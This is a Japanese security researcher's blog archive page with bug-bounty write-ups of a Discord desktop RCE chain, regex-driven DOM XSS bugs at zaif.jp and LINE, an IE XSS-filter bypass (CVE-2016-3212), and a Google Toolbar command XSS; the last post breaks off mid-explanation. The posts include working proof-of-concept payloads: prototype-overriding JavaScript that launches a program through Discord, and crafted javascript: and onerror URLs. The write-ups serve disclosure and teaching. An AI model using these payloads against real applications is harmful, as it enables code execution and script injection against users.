[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
ラベル VRP の投稿を表示しています。 すべての投稿を表示
ラベル VRP の投稿を表示しています。 すべての投稿を表示

2020/10/18

DiscordデスクトップアプリのRCE

数か月前、ゲームのコミュニティなどで人気のチャットアプリ「Discord」のデスクトップ用アプリケーションに任意のコードを実行可能な問題を発見し、Bug Bounty Programを通じて報告しました。発見したRCEは、複数のバグを組み合わせることによって達成される面白いものだったので、この記事では、その詳細を共有したいと思います。なお、現在脆弱性は修正されています。

調査のきっかけ

Electronアプリの脆弱性を探したい気分だったので、Electronアプリで報奨金が出るアプリを探していたところ、Discordが候補にあがりました。Discordは自分自身が利用者で、自分が使うアプリが安全かどうかをチェックしたいという思いもあったので、調査をすることにしました。

発見した脆弱性

私は主に次の3つのバグを組み合わせることでRCEを達成しました。

  1. contextIsolationオプションの不使用
  2. 埋め込みコンテンツのXSS
  3. ナビゲーション制限のバイパス(CVE-2020-15174)

1つずつ紹介していきます。

contextIsolationオプションの不使用

Electronアプリを検査するとき、私がまず確認しているのが、ブラウザウィンドウを作成するときに使用するBrowserWindow APIで使われているオプションです。まずオプションをチェックして、レンダラ上に読み込まれたページのXSSなどを通じて任意のJavaScriptを実行できた場合に、RCEの達成ができそうかを確認します。

Discordのソースコードは公開されていませんが、ElectronのJS部分はローカルにasar形式で圧縮して保存されており、単に圧縮を解くことによって確認することができました。

メインウィンドウでは、以下のオプションが使用されていました。 

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

ここで特にチェックすべき重要なオプションは、nodeIntegrationとcontextIsolationです。上記のコードから、Discordのメインウィンドウでは、nodeIntegrationはfalse、contextIsolationはfalse(使われているバージョン時点でのデフォルト)に設定されていることがわかりました。

nodeIntegrationがtrueになっていれば、レンダラ上に読み込まれたページのJavaScriptから、require呼び出しを介して、シンプルにNode.jsの機能を使うことができます。例えば、Windows上で電卓を呼び出すJavaScriptは次のようになります。

<script>
  require('child_process').exec('calc');
</script>

今回は、nodeIntegrationはfalseに設定されていたので、このように直接requireを使ってNode.jsの機能を使うことはできません。

しかしまだ、Node.js機能へのアクセスの可能性は残っています。もう1つ重要と言ったオプション、「contextIsolation」はfalseでした。RCEの可能性を排除したければ、この設定をfalseにすべきではありません。

contextIsolationが無効になっていると、Webページ上で実行されたJavaScriptが、Electron自体がレンダラで使っているJavaScriptコードや、プリロードスクリプト(以下、これらをWebページ外のJavaScriptコードと呼ぶこととします)の実行に影響を与えることができてしまいます。例えば、JavaScriptのビルトインメソッドであるArray.prototype.joinをWebページ上で別の関数で上書きした場合、Webページ外のJavaScriptコード上でjoinが使用されると、それらの箇所でも上書きされた関数が呼び出されるという具合になります。

この動作は危険です。というのも、これらのWebページ外のJavaScriptコードでは、Node.js機能へのアクセスがnodeIntegrationの設定にかかわらず許されており、Webページから上書きした関数でそれらのコードの実行に干渉することで、nodeIntegrationがfalseであっても、RCEを実現できる場合があるためです。

なお、そのようなトリックがElectronに存在することは、以前までは全く知られておらず、私も参加したCure53が2016年行ったElectronアプリケーションの検査の中で初めて発見されました。その後、Electron自体の問題として対処され、このcontextIsolationオプションが導入されたという背景があります。

その時の検査のレポートが以下に最近公開されたので、よければご覧ください。

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

また、私が以前イベントでこの問題について発表した資料も以下にあります。


contextIsolationは、WebページとWebページ外のJavaScriptコードとの間に別々のコンテキストを導入し、それぞれのコードの実行がそれぞれに影響を与えないようにします。RCEの可能性を排除するためには必ず有効にすべき機能ですが、今回Discordでは無効になっていました。

contextIsolationが無効になっていることが分かったので、Webページ外のJavaScriptコードに干渉することで任意のコードの実行を実現できるような箇所を探し始めました。

通常、私がElectronの検査でRCEのPoCを作成するときは、まずElectron自体がレンダラで使っているJavaScriptコードを利用してRCEを実現しようとします。これは、Electron自体がレンダラで使っているJavaScriptコードはどんなElectronアプリでも実行されるため、基本的には同じ攻撃コードでRCEを実現でき、簡単だからです。

スライドでは、ナビゲーション時に実行されるElectron内部のコードを利用してRCEできることを紹介しましたが、そのように利用できる箇所がいくつか存在しています。 (このあたりの方法については、いずれまとめたいと思います。) 

ただし、使用されているElectronのバージョンや設定されているBrowserWindowオプションなどによって、コードが変更されていたり、うまくそのコードに到達できないことがあり、今回はうまくいかなかったので、プリロードスクリプトにターゲットをうつしました。

すると、Discordは、プリロードスクリプトからWebページ上に関数を公開しており、DiscordNative.nativeModules.requireModule('モジュール名') を通じて、一部の許可されたモジュールを呼び出せるようにしていることがわかりました。ここで直接child_processなどのRCEに利用できるモジュールを使うことはできませんでしたが、ビルトインメソッドの上書きによって、公開されたモジュールの実行に干渉することで、RCEを実現できる箇所を発見しました。

以下がそのPoCです。discord_utils というモジュールが定義するgetGPUDriverVersionsRegExp.prototype.testArray.prototype.joinを以下のような関数で上書きした状態でdevTools上から呼び出すと、電卓が起動することを確認できました。

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersionsは、以下のように、関数内でexecaというライブラリを使用してプログラムの実行を行おうとします。

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

execaはnvidiaSmiPath変数で指定されたプログラム「nvidia-smi.exe」を実行しようとしていますが、RegExp.prototype.testArray.prototype.joinを上書きしたことで、execa内部の処理で、引数がcalcに変更されます。

具体的には次の2か所を変更することで引数を取り換えています。

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

あとはこのスクリプトを実行する方法をアプリ上で発見すれば、実際にRCEが達成可能ということになります。

埋め込みコンテンツのXSS

任意のJavaScriptの実行からRCEが起きうることはわかったので、アプリ上でXSSを探し始めました。XSSが起きやすそうなオートリンク機能やMarkdownのサポートがありましたが、うまく作られているようでした。そこで私はiframeの埋め込み機能に目を付けました。iframeの埋め込み機能とは、YouTubeのURLを張り付けたときなどに動画プレーヤーが自動で展開され、チャット上で再生できるような機能のことです。

Discordは、URLが貼り付けられると、そのURLのOGP情報を取得しに行き、OGP情報がある場合は、ページのタイトルや概要、サムネイル画像や関連付けられた動画などをチャット上にインライン表示します。

このOGPから、動画のURL情報を取り出し、その"動画のURLが" 埋め込みを許可されたドメインにあり、埋め込み用ページのURLの形をしていれば、iframeの埋め込みが許可されます。

どのサービスがiframeへ埋め込まれるかは、どこかにドキュメント化されていなかったのでCSPのframe-srcディレクティブを見ることでヒントを得ました。以下がその時設定されていたCSPです。

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

YouTubeやTwitch、Spotifyなど、明らかにiframeへの埋め込みを目的に許可されたドメインがあるのがわかります。私はこの中のサービスから、OGPの動画情報部分にURLを指定して、iframeに埋め込まれるかどうかを1つ1つ確認し、そのURL上にXSSがないか探しました。すると、ここにリストされているドメインの1つ「sketchfab.com」の埋め込み用URLで、URLが埋め込まれ、そのURL上でXSSを発見できました。私はこの時に初めてSketchfabを知ったのですが、3Dモデルを公開したり売買できるプラットフォームのようです。3Dモデルへ付加できる脚注中にシンプルなDOM-based XSSがありました。

以下は脆弱性レポート中でも使用した細工したOGPを持ったページです。このURLをチャットに投稿すると、Sketchfabのiframeがチャット上に表示され、iframe上で数回のクリック操作を実行するとスクリプトが発火していました。

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

さて、XSSを発見したのはいいのですが、JavaScriptはまだiframe中で実行されています。Electronはiframe内にWebページ外のJavaScriptコードをロードしないので、iframeからビルトインメソッドを上書きしても、クリティカルな部分に干渉することができません。RCEのためには、iframeの外に出て、トップレベルブラウジングコンテキストでJavaScriptを実行する必要があります。これには、iframeから新しいウィンドウを開くか、topのウィンドウをiframeから別のURLへナビゲートする必要がありそうです。

新しいウィンドウのオープンとtopウィンドウのナビゲーションは、Mainプロセス側の以下のコードで、"new-window"および"will-navigate"イベントを監視することで制限されているようでした。

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

このコードを見る限りでは、うまく新しいウィンドウのオープンとナビゲーションを制限しているように見えました。ところが、予想外のことが起きました。

ナビゲーション制限のバイパス(CVE-2020-15174)

ひとまずブロックされる様子を見てみようと思い、実際に動かしてみると、iframeからtopへのナビゲーションがなぜかブロックされなかったのです。普通は、ナビゲーションが発生する前にwill-navigateイベントによって捕捉され、preventDefault()によってナビゲーションは中断されるはずです。

不思議に思い、この動作を模倣する小さなElectronアプリを作って確かめてみると、iframeから発生したtopへのナビゲーションから、will-navigateイベントがなぜか送出されていないことがわかりました。iframeのURLがtopと同一オリジンの場合はちゃんと送出されるのですが、どうやらクロスオリジンにあると送出されないようなのです。クロスオリジンのときだけイベントが送出されない特別な理由があるとは思えないので、Electronのバグであると考え、後でElectron Teamへ報告することにしました。

このバグに助けられ、ナビゲーション制限をバイパスすることができました。あとは、iframe内のXSSを使って、top.location="//l0.cm/discord_calc.html"などとして、topをRCEを実行するコードを含んだページへナビゲートするだけです。

このように、3つのバグを組み合わせ、以下の動画のように電卓を実行することができました。


おわりに

これらの問題は、DiscordのBug Bounty Programを通じて報告しました。まず、Sketchfabの埋め込みが無効化され、iframeにsandbox属性をつけることでiframeからナビゲーションを起こせないような回避策がとられました。その後、しばらくしてcontextIsolationが有効化され、任意のJavaScriptを実行できたとしても、ビルトインメソッドの上書きからRCEが起きないようになりました。この発見の報奨金として$5,000をいただきました。

SketchfabのXSSは、SketchfabのBug Bounty Programを通じて報告し、修正されました。こちらも$300の報奨金をいただきました。

will-navigateイベントが送出されない動作はElectronのバグとしてElectronのセキュリティ窓口を通じて報告したところ、以下のように脆弱性(CVE-2020-15174)として修正されました。

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

以上、Electronアプリ「Discord」の脆弱性について紹介しました。アプリ自体のコードとは無関係の、外部ページのXSSやElectronのバグのせいでRCEに繋がっている点が個人的にはとても面白いと思います。2016年頃にElectronに初めて触れたときは、XSSがあれば一発RCEの危険なプラットフォームという印象でしたが、現在はElectronのデフォルトでcontextIsolationを有効化するなど、安全側に倒そうとする動きがあり、少しずつセキュリティ面が改善されてきているように思います。いいことですね。

この記事がElectronアプリを安全にするための一助となれば幸いです。

2018/01/15

ユーザ入力を使った正規表現から生じるDOM based XSS

お久しぶりです&あけましておめでとうございます。昨年はブログを書く時間をうまく作ることができず、あまり記事を書けませんでした。今年はできるだけ月に1回程度何か書いていきたいと思っています。今年もよろしくお願いします!

さて、ブログを書かなかった間にXSSからSQLインジェクションへ興味が移った、なんてことはありませんでしたので、今日もいつも通り大好きなXSSの話をしたいと思います!

最近、正規表現にユーザ入力を使っていることに起因するDOM based XSSに連続して遭遇しました。あまり見慣れていない注意が必要な問題だと思うので、この記事では、見つけたもの2つがどのように生じたか、また、問題を起こさないためにどうすればよいかを紹介します。

そのうちの1つはLINEのBug Bounty Programを通じて報告した問題です。
賞金と、"LINE SECURITY BUG BOUNTY"と書かれたシンプルなTシャツをもらいました。


LINEのバグの詳細は記事の後半にあります。
それでは見ていきます!

例1: zaif.jp にあったDOM based XSS


仮想通貨が盛り上がっていますね。僕は持っていないのですが、どんなものかとTwitterで話題にあがっていた取引所の zaif.jp のトップページをふと覗いたところ、以下のような興味深いコードを見つけました。(不要な部分は省略しています。)
$(".btn").on("click", function(e) {
  var url = location.href;
  var regExp = new RegExp( location.hash, "g" );
  url = url.replace( regExp, "");
  window.location.href = url;
});
このコードは、URL中の#以降の文字を削除してリダイレクトする意図で書かれているように見えます。しかしながら、削除する方法が適切でないため、任意のスクリプトを実行できてしまいます。どこに問題があるかわかりますか?

正規表現を作っている部分に注目してください:
var regExp = new RegExp( location.hash, "g" );
この書き方には問題があります。RegExpコンストラクタの第一引数には正規表現になる文字列がきます。したがって、この場合はlocation.hashが正規表現として使われることになります。このコードでも、#aaaのように、#以降に英数字のみが含まれるようなURLであれば意図通りに#以降が削除されます。しかしながら、.+など、正規表現の特殊文字が#以降に含まれていた場合に意図しない置換が起こってしまいます。

例えば、次のようなURLからアクセスされた場合を考えてみてください:

https://zaif.jp/#|.+

location.hashから正規表現が組み立てられることにより、URL文字列は次のように置換されます。
url.replace(/#|.+/g, "");
これは、「#」か「改行文字以外の文字の連続」(.+) のいずれかを空文字列に置換するという意味になります。.+はURL中のすべての文字列とマッチするので、すべての文字列が空文字列に置換されてしまいます。このように、正規表現の特殊文字をURLの#以降に指定することで、#以降の文字列以外も切り取ることができてしまいます。

一見、小さなバグのようにも思えますが、このせいで任意のスクリプトの実行まで可能です。切り取られた文字列はlocation.hrefに代入されるため、細工した正規表現を使って、javascript:スキームのURLとなる文字列を残せば、スクリプトを実行するURLへナビゲートできてしまいます。

PoCを示します。次のようなURLからアラートを実行できます:

https://zaif.jp/#javascript:alert(1)//|.+\x23

このURLからは次のような置換が行われます。
url.replace(/#javascript:alert(1)\/\/|.+\x23/g, "");
.+\x23 (\x23は # をエスケープした形) によって、先頭から#までの文字列が削除されます。結果、残されるのはjavascript:alert(1)//|.+\x23というURLとなり、スクリプトの実行が可能となります。

このXSSを再現できるページを用意しました。以下からスクリプトの実行を試すことができます:

https://vulnerabledoma.in/domxss_regex.html#javascript:alert(1)//|.+\x23

この問題は、2017年12月中旬に報告し、1週間程度で修正されました。現在は、正規表現を使わず、location.href.split("#")[0]で#以降の文字列を除いているようです。

例2: LINE のドメインにあったDOM based XSS


2017年4月頃にLINE Security Bug Bounty Programを通じて報告し、$500 の賞金を獲得したバグです。
以下に問題があったページを模したページを用意しました。どこにXSSがあるかわかりますか?

https://vulnerabledoma.in/domxss_regex2.html?id=123
<script id="template" type="text/template">
<img src="https://example.com/img/{{id}}.png">
</script>
<script>
function parseQuery() {
  var res = {};
  var tmp;
  var items = location.search.substr(1).split('&');
  for (var i = 0; i < items.length; i++) {
    tmp = items[i].split('=');
    if (tmp[0]) {
      res[tmp[0]] = decodeURIComponent(tmp[1]);
    }
  }
  return res;
}
function renderHTML(data) {
  var current = document.getElementById('template');
  var template = current ? current.innerHTML : '';
  for (key in data) {
    var re = new RegExp('{{' + key + '}}', 'gm');
    var safe = escapeHTML(data[key]);
    template = template.replace(re, safe);
  }
  document.body.innerHTML = template;
}
function escapeHTML(src) {
  var res = src;
  var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
  }
  for (key in escapeMap) {
    var re = new RegExp(key, 'gm');
    res = res.replace(re, escapeMap[key]);
  }
  return res;
}
var params = parseQuery();
if (params.id) {
  renderHTML(params);
}
</script>
まず、parseQuery()でクエリの名前と値のペアのオブジェクトを作成しています。クエリはページ上部にあるtype="text/template"なscriptタグにあるHTMLのテンプレートのプレースホルダ(この例では{{id}})を置換するために使われます。
置換処理部分を以下に抜粋します:
for (key in data) {
  var re = new RegExp('{{' + key + '}}', 'gm');
  var safe = escapeHTML(data[key]);
  template = template.replace(re, safe);
}
data変数はparseQuery()で作成したクエリのオブジェクトです。ここでは、クエリと同名のプレースホルダがテンプレートに存在するかどうかにかかわらず、for...in文ですべてのクエリをプレースホルダとして置換しようとしています。今回は、ユーザ入力から正規表現を組み立てているだけでなく(new RegExp('{{' + key + '}}', 'gm')部分)、置換後の文字列もユーザ入力で指定できています(escapeHTML(data[key])部分)。例えば、id=123というクエリがあるとき、次のような置換処理が行われることになります。黄色部分がユーザ入力から設定されたものです:
template.replace(/{{id}}/gm, '123');
置換後の文字列を指定できるのなら、シンプルにクエリにHTMLタグを与えることでXSSできるのではと考えるところですが、置換後の文字列はescapeHTML関数によってエスケープされるため、次のようなURLからアクセスしてもXSSは発生しません:

https://vulnerabledoma.in/domxss_regex2.html?id="><s>aaa

どんな文字列を与えたらXSSが成立するでしょう?今回も、正規表現を細工することでXSSを起こします。加えて、今回は置換後の文字列も細工します。
PoCを先に示します。次のようなURLにアクセスするとスクリプトを実行できます:

https://vulnerabledoma.in/domxss_regex2.html?id=123&|(.)h|=$1a$1onerror%3Dalert(1)//

なぜスクリプトを実行できたか見ていきます。
置換前のテンプレート文字列は次のようになっています。
<img src="https://example.com/img/{{id}}.png">
まず、クエリのid=123により、{{id}}の部分が123に置換されます。
あとに続く|(.)h|=$1a$1onerror%3Dalert(1)//というクエリからも置換が行われます。実行される置換処理は次のようになります:
template.replace(/{{|(.)h|}}/gm, '$1a$1onerror=alert(1)//');

このコードはテンプレート中にある「{{」または 「任意の1文字 + h」((.)h) または「}}」を、指定した文字列に置換しようとします。このうち、「任意の1文字 + h」はテンプレート中の以下の黄色部分で発見できます:
<img src="https://example.com/img/123.png">
この部分が、$1a$1onerror=alert(1)//で置換されます。$1()でくくった部分にマッチした文字列を配置するという意味で、ここでは"が取り出されます。
したがって、テンプレート文字列は次のように置換されます:
<img src="a">ttps://example.com/img/123.png">
見ての通り、imgタグにonerrorイベントハンドラが追加できてしまっています。この文字列がdocument.body.innerHTML = template;でページに書き出されることによって、任意のスクリプトの実行が達成されるという訳です。

修正後は、ユーザ入力から正規表現を組み立てるのではなく、以下のようにテンプレートに埋め込まれたプレースホルダを検索することによって置換を行うようになったようです。
template = template.replace(/{{(\w+)}}/gm, function($0,$1) {
  return escapeHTML(data[$1]);
});

このような問題を防ぐには


どちらの問題も、ユーザ入力から"正規表現を組み立てていること"を失念しており、単に検索用の"文字列として"使われることを期待したことが原因で発生したように思います。いずれの修正も正規表現を組み立てない方法で書き直すことができているように、たいていの場合、ユーザ入力から正規表現を組み立てる必要はないはずです。
new RegExp(USER_INPUT,"")のようなコードを書いてしまったら、それは本当にやりたいことなのか、一度考え直してみるとよいかと思います。ユーザに正規表現を使わせたいとき以外、まず適切な書き方ではありません。

以上、正規表現にユーザ入力を使っていることに起因するDOM based XSSの例を2つ紹介しました。
このような問題を避ける助けとなれば嬉しいです。

2016/07/15

CVE-2016-3212: XSSフィルターの^への置換動作を利用したXSS

English version: http://mksben.l0.cm/2016/07/xxn-caret.html
-------------------------------------------------------

以前、CODE BLUEでXSSフィルターを利用したXSSの問題について発表しましたが、同様の問題が6月のパッチでCVE-2016-3212として修正されました。この記事では詳細を紹介します。

以前公開した資料にも書いたように、以前までは、XSSフィルターの遮断規則を攻撃とは無関係の文脈に適用させ、.#に置換させることで、<script>src値や<link>href値を変更することによる攻撃が可能でした。



2015年12月、Microsoftはこの問題に対応するために、この遮断規則のみ、#の代わりに^に置換するよう動作を変更しました。これにより確かに、上で示したような攻撃は防げるようになりました。ところが新たな問題を生んでしまいました。この動作変更から数か月後に、実際のアプリケーションで攻撃できることを確認することになります。
$3133.7という特徴的な金額からもわかるように、これはGoogleの脆弱性報奨金制度を通して得た報酬です。GoogleはほとんどのサービスでレスポンスヘッダにX-XSS-Protection: 1;mode=blockを指定していましたが、一部つけていないページがありました。これに気付いたからには、XSSフィルターを利用しない手はありません!XSSフィルターによってページの一部分を変更させることでXSSが起き得る箇所がないか、じっくりみてみました。その結果、*.google.com のドメインに設置されたJavadocが吐くHTMLの1か所を変更したとき、XSSが起きることを発見しました!

以下にそのページのおおよそのコピーがあります。
どこかの.^に置換されたとき、XSSが生まれるのがわかるでしょうか?

http://vulnerabledoma.in/xxn/xss_javadoc.html


答えは以下の黄色の部分にあるドットです。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" >
<frameset rows="30%,70%" title="Left frames" >
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
スクリプトタグで長々とやっていることは、location.search(URLの?以降)から受けとった文字列が、フレームにロードしても安全なURLかどうかの検証です。
例えば、XSSが可能な以下のようなURLはロードが禁止されます。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

しかしながら、黄色の部分の.^に置き換わるとどうなるでしょう?

実際に動かしてみてみましょう。以下のような文字列を与えれば、無理やりページの中身を遮断規則にマッチさせ、.を置換することができます。


2016年6月のパッチをあてる前のIE/Edgeを使って以下のURLを確認してみてください。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

targetPage.indexOf()の部分の.^に置換され、安全なURLかどうかの検証部分のコードが実行途中でエラーとなることで、URLに与えたjavascript:のURLが実行されたはずです。

既にパッチを適用して再現できない人のために、該当部分を^に置換済みのページを用意しました。同様の動作を確認できます。

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

#への置換との決定的な違いは、#はスクリプト内で演算子ではないため、タグ内の.#に置換されても構文が壊れるだけだったのに対し、^はビットごとのXOR演算子であり、例えば、a.b;a^b;になったとしても構文は正しいので、少なくともそこまでは実行されるという点です。このせいで、targetPage変数に未検証の危険な値が入ったまま例外を出し、別の関数でこの変数を利用した結果、XSSが起きたという訳です。



もちろん、XSSが可能だったのはGoogleに限ったことではなく、同バージョンの吐くJavadocのHTMLをX-XSS-Protectionの指定なしに設置しているサイトすべてでXSSが可能でした。

2016年6月の修正後は、例え明示的にヘッダで指示されていなくても、.への反応時には1; mode=blockの動作が強制されるようになりました。これでひとまずは.を置換することによるXSSは起きなくなりました。

^に置換することで回避しようとしたときは唖然としましたが、ひとまずこれで落ち着きました。

また、直近のパッチ(2016年7月)で、その他、CODE BLUEの発表以前に指摘したすべての問題についても改善が行われたようです。この辺りの問題については記事を改めて近いうちに書きます。

2016/01/29

Google Toolbarのコマンドを利用したXSS

2015年6月頃にみつけた、toolbar.google.com の、少し変わったXSSを2つ紹介します。

The English version is here: http://mksben.l0.cm/2016/01/google-toolbar-xss.html

何が変わっているか


このXSSは、Google ToolbarがインストールされているIEでしか動作しません。Google Toolbarがインストールされていると、toolbar.google.com 上に用意されたUIから、ツールバーを操作するコマンドを実行できるようになります。このコマンドを利用することでXSSに繋げるという点が、よくあるものとは異なります。

どのようにコマンドを実行しているか


toolbar.google.com 上の次のページをみると、こんなコードを発見できます。

http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
(省略)....
<input type=button value="Reset IE's Toolbar menu">
このページでは、ツールバーの設定をリセットできるようになっています。

ページ内のボタンを押すと、fixmenu()command('&fixmenu=1')と関数が呼ばれます。command()関数では、window.location="http://toolbar.google.com/command?key="...に対してナビゲーションしようとしているようにみえますが、実はこれがコマンド実行操作です。Google Toolbarがインストールされている場合は、http://toolbar.google.com/command に対するナビゲーション操作が、ページ遷移ではなく、コマンドの実行と解釈されるようになります。 このURLにつけられたクエリが実行したいコマンド操作に対応しています。例えば、このページでできるツールバーのリセット操作は fixmenu=1に対応しています。

'...?key=' + document.googleTokenの部分は、外部から勝手にコマンドを実行させないためのCSRFトークンの役割をしています。document.googleTokenには、Google Toolbar が設定したランダムな値が入ります。この値が正しくないと、コマンドは実行されません。この値は、toolbar.google.com 上のみで参照可能です。

ざっと、こんな作りになっています。
こういう特殊な実装部分にはいかにも脆弱性がありそうです。なんだかおもしろそうなので、時は2015年ですが、Google Toolbarをインストールして詳しくみてみることにしました。

コマンドの調査


まずは、どんなコマンドがあるか、toolbar.google.com 上に書かれたコマンドをみてまわったり、Toolbarのバイナリを覗いてみたりしました。
見ていく中で、navigatetoというコマンドがあることがわかりました。

このコマンドは、名前の通り、ナビゲーションをするためのコマンドでした。toolbar.google.com 上で開いたコンソールで次を実行すると、example.com に対してナビゲーションが起きました。(※なお、最新のGoogle Toolbarではこのコマンドは無くなっているようです。)
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"
ナビゲーションとわかれば、httpなURL以外でもナビゲーションできるか試してみたくなります。
この部分をjavascript:のURLに変えて試してみます。
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"
すると、アラートが実行されました!おお!でも、まだ喜ぶところではありません。
なぜなら、document.googleTokenの値が外からはわからないため、このコマンドを誰かに罠リンクを踏ませて実行させるようなことはできないからです。逆に言えば、document.googleTokenの値をどうにかして取得できれば、スクリプトを実行させられるかもしれません。

XSS脆弱性の発見 その1


なんとかならないかと、toolbar.google.com のページをみてまわっていると、次のようなページをみつけました。

http://toolbar.google.com/dc/dcuninstall.html (現在はページが無くなっています。 WebArchive でみれます。)
<script language="JavaScript"> <!--
  function command(s) {
    window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
  }
  function OnYes() {
    var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
    command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
//    window.location=path + "dcuninstallfailed.html";
  }
// -->
</script>
...
      <script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('>Uninstall Google Compute</button>');
// -->
</script> 
最初の例と同様に、ボタンを押すと、コマンドが実行されるようなページです。OnYes()からのcommand("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");で、コマンドの実行をしています。ここでそうしているように、& で繋げると複数のコマンドを一度に指定できるみたいです。
コマンドの詳細はさておき、注目すべきはここに含まれているpathという変数です。pathは直前で定義されています。
  var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
location.hrefからコマンドに含む文字列を受け取っている様子です。詳しくみると、URLの先頭から、 document.location.href.lastIndexOf("/") + 1で、URLの最後に出てくるスラッシュまでをsubstring()で切り取っています。このコードを書いた人が取り出したいのは、以下の太字部分の、ファイル名をのぞいたパスまででしょう。

https://toolbar.google.com/dc/dcuninstall.html

でも、この切り出し方は雑すぎます。余分なスラッシュをもっと後ろに入れられたら予想外のURLを切り取ることになります。

https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy

この切り取った文字列はnavigateto=に連結されるので、ナビゲーションに使いたいようです。
ここではlocation.hrefの先頭から切り取っているため、いくら切り出すURLを間違えているとはいえ、一見、XSSどころかオープンリダイレクトバグにすらならないようにも思えます。

ところが、次のようなURLを与えたらどうでしょう? &がポイントです。

